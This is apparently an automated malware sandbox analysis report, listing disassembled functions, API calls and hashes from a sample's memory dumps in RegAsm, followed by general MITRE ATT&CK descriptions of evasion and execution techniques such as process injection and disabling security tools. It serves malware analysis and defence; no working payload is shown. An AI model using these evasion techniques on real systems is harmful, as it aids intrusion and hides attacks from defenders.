API String ID: 682657753-0
Opcode ID: 671f1e23e84200de237f445522f45aa93ba6a6f38a4cf3dcdadc5ec6a8fe0aec
Instruction ID: 5f78c444042eb5038501a5ab2026c3e286ec025c830ed99d022b7ec3cc7d515b
Opcode Fuzzy Hash: 671f1e23e84200de237f445522f45aa93ba6a6f38a4cf3dcdadc5ec6a8fe0aec
Instruction Fuzzy Hash: 840128B6800649EFDF00EFA4D888897BBA8FA492617154526E906C3600E735F459CBA1

Function 6905A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ce3d8439d26a6e6b59bf738b5707fb5ff3df3fad6262b16a0aa2f9607ec1afe
Instruction ID: 66a842a9ac0062c9eea0fc64c528fcd557de5d9c87233a9377c104842363a886
Opcode Fuzzy Hash: 8ce3d8439d26a6e6b59bf738b5707fb5ff3df3fad6262b16a0aa2f9607ec1afe
Instruction Fuzzy Hash: 71913E30D0416C8FCB25CE188A913EE77F5AF4A324F6588E9C59B57201D6314DA1CBB1

Function 69118910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6911892E

Part of subcall function 68FF0F00: PR_GetPageSize.NSS3(68FF0936,FFFFE8AE,?,68F816B7,00000000,?,68FF0936,00000000,?,68F8204A), ref: 68FF0F1B
Part of subcall function 68FF0F00: PR_NewLogModule.NSS3(clock,68FF0936,FFFFE8AE,?,68F816B7,00000000,?,68FF0936,00000000,?,68F8204A), ref: 68FF0F25

PR_Lock.NSS3 ref: 69118950

Part of subcall function 690C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,68FF1A48), ref: 690C9BB3
Part of subcall function 690C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,68FF1A48), ref: 690C9BC8

getprotobynumber.WSOCK32(?), ref: 69118959
GetLastError.KERNEL32(?), ref: 69118967
PR_GetCurrentThread.NSS3(?,?), ref: 6911896F
PR_Unlock.NSS3(?,?), ref: 6911898A

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 0ea8af2924de7fe1a5206004a9cd1a72d91814828d01c470152e2001e5223b06
Instruction ID: e37342b37c90086aec60e06168e10dbddce9994d540497dcf2c964fe96561c7c
Opcode Fuzzy Hash: 0ea8af2924de7fe1a5206004a9cd1a72d91814828d01c470152e2001e5223b06
Instruction Fuzzy Hash: 5A11A37AD18128EBCB009FB89D4061E3669AB86368B2692B5DD15972A1D7708801C7C6

Function 6900B910 Relevance: 7.6, APIs: 5, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6900B91B

Part of subcall function 69060FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,690087ED,00000800,68FFEF74,00000000), ref: 69061000
Part of subcall function 69060FF0: PR_NewLock.NSS3(?,00000800,68FFEF74,00000000), ref: 69061016
Part of subcall function 69060FF0: PL_InitArenaPool.NSS3(00000000,security,690087ED,00000008,?,00000800,68FFEF74,00000000), ref: 6906102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6900B92C

Part of subcall function 690610C0: TlsGetValue.KERNEL32(?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 690610F3
Part of subcall function 690610C0: EnterCriticalSection.KERNEL32(?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 6906110C
Part of subcall function 690610C0: PL_ArenaAllocate.NSS3(?,?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 69061141
Part of subcall function 690610C0: PR_Unlock.NSS3(?,?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 69061182
Part of subcall function 690610C0: TlsGetValue.KERNEL32(?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 6906119C

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6900B95D
PR_SetError.NSS3(FFFFE013,00000000), ref: 6900B96B
PORT_ArenaAlloc_Util.NSS3(00000000,?), ref: 6900B98B

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Arena_Value$AllocateCriticalEnterErrorFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 1641347807-0
Opcode ID: acda5657320ab219ba18c1ff474aff445092867f8f533fbfd6005a0e56efb30e
Instruction ID: acb6a02a1e777e4753f18c202484cca1bbe946b2fc0d401f97ae3a84a18d1870
Opcode Fuzzy Hash: acda5657320ab219ba18c1ff474aff445092867f8f533fbfd6005a0e56efb30e
Instruction Fuzzy Hash: A821BD74A44A019EFB20CF258850B2BB7E8EF46799F14C929D859C7251EB31E802CBA1

Function 69013920 Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 69013939

Part of subcall function 69060FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,690087ED,00000800,68FFEF74,00000000), ref: 69061000
Part of subcall function 69060FF0: PR_NewLock.NSS3(?,00000800,68FFEF74,00000000), ref: 69061016
Part of subcall function 69060FF0: PL_InitArenaPool.NSS3(00000000,security,690087ED,00000008,?,00000800,68FFEF74,00000000), ref: 6906102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6901394D

Part of subcall function 690610C0: TlsGetValue.KERNEL32(?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 690610F3
Part of subcall function 690610C0: EnterCriticalSection.KERNEL32(?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 6906110C
Part of subcall function 690610C0: PL_ArenaAllocate.NSS3(?,?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 69061141
Part of subcall function 690610C0: PR_Unlock.NSS3(?,?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 69061182
Part of subcall function 690610C0: TlsGetValue.KERNEL32(?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 6906119C

Part of subcall function 690424E0: TlsGetValue.KERNEL32 ref: 690424FF
Part of subcall function 690424E0: EnterCriticalSection.KERNEL32(?), ref: 6904250F
Part of subcall function 690424E0: PR_Unlock.NSS3(?), ref: 6904253C
Part of subcall function 690424E0: PR_SetError.NSS3(00000000,00000000), ref: 69042554

PR_SetError.NSS3(FFFFE005,00000000), ref: 690139A3
PR_SetError.NSS3(FFFFE013,00000000), ref: 690139BE
PORT_FreeArena_Util.NSS3(?,00000000), ref: 690139CB

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: ArenaErrorUtilValue$Arena_CriticalEnterSectionUnlock$Alloc_AllocateFreeInitLockPoolcalloc
String ID:
API String ID: 1657373565-0
Opcode ID: 3a037b4ec4f3de494f6e2813df8e008bc0e7ce8e7d569cce4998348afef98f2e
Instruction ID: 8efd5aa8f5953da7c29b6582e85fb3ee42a603c1b310c08833ed7cfb1095433e
Opcode Fuzzy Hash: 3a037b4ec4f3de494f6e2813df8e008bc0e7ce8e7d569cce4998348afef98f2e
Instruction Fuzzy Hash: E82192B5A08212AFDB40CFA9DC41B16BBE4BF48359F058629E818DB356E730E550CBE1

Function 69058970 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,690061C4,?,69005639,00000000), ref: 69058991
TlsGetValue.KERNEL32(?,?,?,?,?,69005639,00000000), ref: 690589AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,69005639,00000000), ref: 690589C6
PR_WaitCondVar.NSS3 ref: 690589F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,69005639,00000000), ref: 69058A0C

Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07AD
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07CD
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07D6
Part of subcall function 68FF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,68F8204A), ref: 68FF07E4
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,68F8204A), ref: 68FF0864
Part of subcall function 68FF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 68FF0880
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,68F8204A), ref: 68FF08CB
Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(?,?,68F8204A), ref: 68FF08D7
Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(?,?,68F8204A), ref: 68FF08FB

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 964abfad73e294b7174425506fa92bb6213b2001abef8c52f3651685d33bd9cd
Instruction ID: 1cda3cb3c9fe5ea8cbdc28944e1e63207f7563e04055b5412041a6b1b5bd02e6
Opcode Fuzzy Hash: 964abfad73e294b7174425506fa92bb6213b2001abef8c52f3651685d33bd9cd
Instruction Fuzzy Hash: D721AEB480464ACFDF00AF78C6842ADBBF4FF06348F554A65DC9A97215E730D4A1CB92

Function 69110930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,69110C83), ref: 6911094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,69110C83), ref: 69110974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 69110983
_PR_MD_UNLOCK.NSS3(?,?,69110C83), ref: 6911099F
OutputDebugStringA.KERNEL32(?,?,69110C83), ref: 691109B2

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: c1985be20420d2ebc4fc82b179fbad1002db31a2c09e11f2618e062d543f4008
Instruction ID: ecd5dbf66c46993a1c8f9fa6db6ba54d896ade0a922d8f82b110ea8a8ac4a797
Opcode Fuzzy Hash: c1985be20420d2ebc4fc82b179fbad1002db31a2c09e11f2618e062d543f4008
Instruction Fuzzy Hash: 3C0129BCD45288DFDF009F28C859B653FADBB56318FB85219F84AC3262D7B5A490CA11

Function 68F8A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 690BA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,690DC3A2,?,?,00000000,00000000), ref: 690BA528
Part of subcall function 690BA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 690BA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 68F8A94F

Strings

database corruption, xrefs: 68F8A943
%s at line %d of [%.10s], xrefs: 68F8A948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 68F8A939

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b8ce0d0c0d7f19952005f955aa648e7f78dbed1028dd64fd91993a95ccebcb7b
Instruction ID: 67df622468d9be9a00206669b26abb12c9432db97fb3d53c771bad81ff36fc1a
Opcode Fuzzy Hash: b8ce0d0c0d7f19952005f955aa648e7f78dbed1028dd64fd91993a95ccebcb7b
Instruction Fuzzy Hash: 00012671A04218ABD700CA69DC09B6BB3F4EB88308FD14439E9696B280EB31E9048792

Function 69054900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6903C79F,?,?,69055C4A,?), ref: 69054950

Part of subcall function 69058800: TlsGetValue.KERNEL32(?,6906085A,00000000,?,69008369,?), ref: 69058821
Part of subcall function 69058800: TlsGetValue.KERNEL32(?,?,6906085A,00000000,?,69008369,?), ref: 6905883D
Part of subcall function 69058800: EnterCriticalSection.KERNEL32(?,?,?,6906085A,00000000,?,69008369,?), ref: 69058856
Part of subcall function 69058800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 69058887
Part of subcall function 69058800: PR_Unlock.NSS3(?,?,?,?,6906085A,00000000,?,69008369,?), ref: 69058899

TlsGetValue.KERNEL32(?,?,?), ref: 6905496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6905497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 69054989

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 253e792103e2b78a780815b8677cb2f8ddc51cbe703a917ce06b5ab18d9110ce
Instruction ID: 8b1cb1884addb64eaf43ba7b7b6c86304916cc9eecac713a5096ee7110fb54ba
Opcode Fuzzy Hash: 253e792103e2b78a780815b8677cb2f8ddc51cbe703a917ce06b5ab18d9110ce
Instruction Fuzzy Hash: 3711267A900245ABEF009F25DE02B6673ECFF023A8B644C34ED0B87215EB21E8318791

Function 690F0900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 690F0917
sqlite3_value_text.NSS3(?), ref: 690F0923

Part of subcall function 68FB13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,68F82352,?,00000000,?,?), ref: 68FB1413
Part of subcall function 68FB13C0: memcpy.VCRUNTIME140(00000000,68F82352,00000002,?,?,?,?,68F82352,?,00000000,?,?), ref: 68FB14C0

Strings

error in %s %s%s%s: %s, xrefs: 690F0944

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: a568924eec7aae38f402ff310328b82f6ae1222f2d2f1f19b639a9b89ced0213
Instruction ID: 2cf08203624a5970c5fa2a6d621146bb135409751f97b1d430f38d3b197899d3
Opcode Fuzzy Hash: a568924eec7aae38f402ff310328b82f6ae1222f2d2f1f19b639a9b89ced0213
Instruction Fuzzy Hash: FB0108BAD00148ABEB009E58EC41A7EBBB5EFD5218F544438ED595B311FB32A91187E2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
